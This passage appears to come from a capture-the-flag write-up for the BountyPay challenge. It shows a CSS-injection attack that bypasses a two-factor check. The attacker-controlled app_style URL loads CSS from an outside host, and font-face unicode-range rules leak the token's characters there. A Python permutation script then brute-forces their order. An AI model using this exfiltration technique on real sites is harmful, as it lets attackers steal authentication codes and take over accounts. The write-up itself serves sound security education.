Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9

app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css

aab

It appears that we are able to provide an arbitrary URL on the app_style parameter, which is used to load a CSS file for the interface the user agent is visiting. The server create requests from the following User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36.

As Chrome Headless is used, we are able to perform client-side attacks, such as CSS injection and XSS (if we find a way to do so) against the 2FA process. The default value of app_style (https://www.bountypay.h1ctf.com/css/uni_2fa_style.css) reveals that there's an interface where our arbitrary CSS file is loaded.

With CSS injection attacks, we can leak data to the attacker's host using the CSS background property. As demonstrated in Pepe Vila's talk, there are multiple ways to leak content to an attacker's host via CSS.

In this case, we're going to use font-faces with the unicode-range property. As mentioned in Pepe's talk, there are a few restrictions for this:

Since we do not know the order of the leaked characters through this method, we need to bruteforce it. We have 7 positions, and each position has 7 possible characters. This means that we have around ~5000 possible combinations. This should be doable to bruteforce in two minutes, using Burp Intruder.

The last steps

I've hosted the following CSS file to exfiltrate the token: https://playground.kapytein.nl/new3.css. We're using the crafted CSS file which uses font-faces from Masato Kinugawa.

We send the following HTTP request:

POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Content-Length: 73
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Referer: https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba
Accept-Encoding: gzip, deflate
Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9

app_style=https://playground.kapytein.nl/new3.css

In return, we immediately receive 7 HTTP requests (indicating no repeated characters were in the token) on our server. If we do receive less than 7 HTTP requests, we can repeat the request until we do.

aab

We use the following Python script to load the combinations in a text file, which we can use in Burp Intruder to bruteforce the endpoint.

from itertools import permutations
perms = [''.join(p) for p in permutations('<leaked-characters>')]

for i in set(perms):
   print(i)
python3 generate.py > list.txt

intruder

We successfully bypassed the two-factor authentication, and processed $210,300 in bounties!

8.1 Failed Attempts